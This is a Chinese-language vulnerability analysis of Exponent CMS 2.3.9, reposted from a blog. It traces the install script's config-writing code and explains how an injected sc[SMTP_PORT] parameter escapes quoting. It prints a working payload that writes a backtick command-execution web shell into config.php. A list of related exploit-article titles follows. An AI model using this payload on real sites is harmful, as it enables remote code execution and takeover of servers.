Exponent CMS 2.3.9 配置文件写入 Getshell分析
在 install/index.php 的第44行
expString::sanitize($_REQUEST);
跟进sanitize函数
public static function sanitize(&$data) { // return $data;if (is_array($data)) {$saved_params = array();if (!empty($data['controller']) && $data['controller'] == 'snippet') {$saved_params['body'] = $data['body']; // store snippet body }foreach ($data as $var=>$val) { // $data[$var] = self::sanitize($val);$data[$var] = self::xss_clean($val);}if (!empty($saved_params)) {$data = array_merge($data, $saved_params); // add stored snippet body }} else {if (empty($data)) {return $data;}$data = self::xss_clean($data);
只经过了xss_clean
的检查,继续分析,install/index.php 的第56行
<?php ...// Create or update the config settings if (isset($_REQUEST['sc'])) {if (file_exists("../framework/conf/config.php")) {// Update the configforeach ($_REQUEST['sc'] as $key => $value) {expSettings::change($key, $value);}}... }
首先如果安装成功后
if (file_exists("../framework/conf/config.php")) {
是一定进入这个分支的
跟进change函数
public static function change($var, $val){$conf = self::parseFile(BASE . 'framework/conf/config.php');$conf[$var] = $val;self::saveValues($conf);}
跟进saveValues函数
1 public static function saveValues($values, $configname = '') //FIXME only used with themes and self::change() method 2 { 3 $profile = null; 4 $str = "<?php\n"; 5 foreach ($values as $directive => $value) { 6 $directive = trim(strtoupper($directive)); 7 if ($directive == 'CURRENTCONFIGNAME') { // save and strip out the profile name 8 $profile = $value; 9 continue; 10 } 11 $str .= "define(\"$directive\","; 12 $value = stripslashes($value); // slashes added by POST 13 if (substr($directive, -5, 5) == "_HTML") { 14 $value = htmlentities($value, ENT_QUOTES, LANG_CHARSET); 15 // $value = str_replace(array("\r\n","\r","\n"),"<br />",$value); 16 $value = str_replace(array("\r\n", "\r", "\n"), "", $value); 17 // $value = str_replace(array('\r\n', '\r', '\n'), "", $value); 18 $str .= "exponent_unhtmlentities('$value')"; 19 } elseif (is_int($value)) { 20 $str .= "'" . $value . "'"; 21 } else { 22 if ($directive != 'SESSION_TIMEOUT') { 23 $str .= "'" . str_replace("'", "\'", $value) . "'"; //FIXME is this still necessary since we stripslashes above??? 24 } // $str .= "'".$value."'"; 25 else { 26 $str .= "'" . str_replace("'", '', $value) . "'"; 27 } 28 } 29 $str .= ");\n"; 30 } 31 32 $str .= '?>'; 33 // $configname = empty($values['CURRENTCONFIGNAME']) ? '' : $values['CURRENTCONFIGNAME']; 34 if ($configname == '') { 35 $str .= "\n<?php\ndefine(\"CURRENTCONFIGNAME\",\"$profile\");\n?>"; // add profile name to end of active profile 36 } 37 self::writeFile($str, $configname); 38 }
View Code
有两处很重要的操作$value = stripslashes($value); // slashes added by POST
else {
if ($directive != 'SESSION_TIMEOUT') {
$str .= "'" . str_replace("'", "\'", $value) . "'"; //FIXME is this still necessary since we stripslashes above???
} // $str .= "'".$value."'";
else {
$str .= "'" . str_replace("'", '', $value) . "'";
}
综上跟踪再看看公开的payload
?sc[SMTP_PORT]=25\\');echo `$_POST[1]`;//
先是经过xss_clean 并不会对payload造成什么影响
再经过stripslashes
payload变成了
25\');echo `$_POST[1]`;//
再经过这波操作后
$str .= "'" . str_replace("'", '', $value) . "'";
payload又变成了
25\\');echo `$_POST[1]`;//
写进文件后变成了
define("SMTP_PORT",'25\\');echo `$_POST[1]`;//');
转载于:https://www.cnblogs.com/test404/p/9401640.html
Exponent CMS 2.3.9 配置文件写入 Getshell分析相关推荐
- 帝国CMS(EmpireCMS) v7.5配置文件写入漏洞分析
帝国CMS(EmpireCMS) v7.5配置文件写入漏洞分析 一.漏洞描述 该漏洞是由于安装程序时没有对用户的输入做严格过滤,导致用户输入的可控参数被写入配置文件,造成任意代码执行漏洞. 二.漏洞复 ...
- 友点 CMS V9.1 后台登录绕过 GetShell
声明:本公众号大部分文章来黑白之间安全团队成员的实战经验以及学习积累,文章内公布的漏洞或者脚本都来自互联网,未经授权,严禁转载. 请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作 ...
- 【高级内部资料】.NET数据批量写入性能分析 第一篇
[高级内部资料].NET数据批量写入性能分析 第一篇 说起数据的批量写入,相信大家应该不陌生了,那么我们本系列的文章不准备讲述如何来进行数据的批量写入,而是介绍常用的数据批量写入方法的性能分析. 同时 ...
- 帝国php漏洞,帝国CMS(EmpireCMS) v7.5 后台XSS漏洞分析
帝国CMS(EmpireCMS) v7.5 后台XSS漏洞分析 一.漏洞描述 该漏洞是由于代码只使用htmlspecialchars进行实体编码过滤,而且参数用的是ENT_QUOTES(编码双引号和单 ...
- 帝国CMS(EmpireCMS) v7.5 前台XSS漏洞分析
帝国CMS(EmpireCMS) v7.5 前台XSS漏洞分析 一.漏洞描述 该漏洞是由于javascript获取url的参数,没有经过任何过滤,直接当作a标签和img标签的href属性和src属性输 ...
- 【安全漏洞】某CMS后台防护逻辑漏洞导致GETSHELL
源码: https://cdn.jsdelivr.net/gh/seacms-net/CMS@master/SeaCMS.zip →点击查看网络安全学习资料·攻略← 1.2000多本网络安全系列电子书 ...
- EmpireCMS文件写入getshell
漏洞描述 Empirecms V6.5后台自定义页面处通过任意文件写入可getshell ①任意文件写入漏洞的原理通过提交数据,可以将任意的文件写入到网站中. ②攻击者在获取到后台权限后,进行添加页面 ...
- kesioncms (科讯cms) 6.x-8.x版本写入任意内容文件漏洞
发布时间:2013-04-08 关键词:kesioncms 漏洞 漏洞版本:kesioncms(科讯cms) 6.x - 8.x 漏洞简介:未对提交参数判断,导致可将任意内容的文件写入网站服务器 漏 ...
- 苹果cms怎么修改数据库配置文件
数据库的连接信息是可自定义配置的,所以找到配置文件路径可以直接修改配置文件,当需要修改数据库连接配置时,只需要修改数据库配置文件内容即可. 有时候我们更换了数据库名称或是账号密码,这时候就需要更改苹果 ...
最新文章
- 2022-2028年中国激光玻璃行业市场供需规模及发展趋势研究报告
- 初识前端——个人总结
- Ubuntu18.04安装pymol
- Machine Learning实验3】SoftMax regression
- php获取页面a标签内容_AKCMS常用标签代码整理
- java如何实现开机启动,怎样实现开机启动holer
- Nodejs版本的企业微信中接收消息与腾讯对接之接收消息 代码已经上传,可以去下载
- Proto3 Any与Oneof(转载)
- JavaScript笔记(展开的层)-4
- 【回归预测】基于matlab鲸鱼算法WOA优化混合核极限学习机KELM回归预测【含Matlab源码 JQ004期】
- activiti7关联mysql_解决Springboot2.1.x配置Activiti7单独数据源问题
- Unity 源码研究 获取颜色面板ColorPicker键值信息
- Linux 登录 帐号 cmccedu 无线,CMCC CMCC-EDU路由器绑定自动登录方法详细教程!
- 用python画圣诞树的代码
- 普元信息技术java面试题,普元java实习笔试题
- springboot-莫名其妙的登录界面“Please sign in“
- 【专栏】RPC系列(实战)-负重前行的“动态代理”
- 多伦多大学计算机科学专业录取ib,多伦多大学要求IB多少分
- linux作为输出电脑声卡,今天终于搞定我的电脑的ALC883声卡linux驱动了
- 把 html标签转化为 html标签代码
热门文章
- mock server java_MockServer 简单示例
- 从硬件竞争到软实力PK——电视媒体竞争观察
- ffdshow 源代码分析 2: 位图覆盖滤镜(对话框部分Dialog)
- 功能安全 李艳文_李艳文:智能网联全新安全问题凸显 相关自动驾驶事故逐年增加...
- 计算机硬件密码,计算机硬件技术基础综合性实验任务书(08)密码门锁的模拟_C
- python热力图美化_python如何画热力图?
- idea工具修改Git路径
- html中的float属性,css float属性 图解float属性的点点滴滴
- Python入门--常用的内置模块
- 又见n/i下取整+分块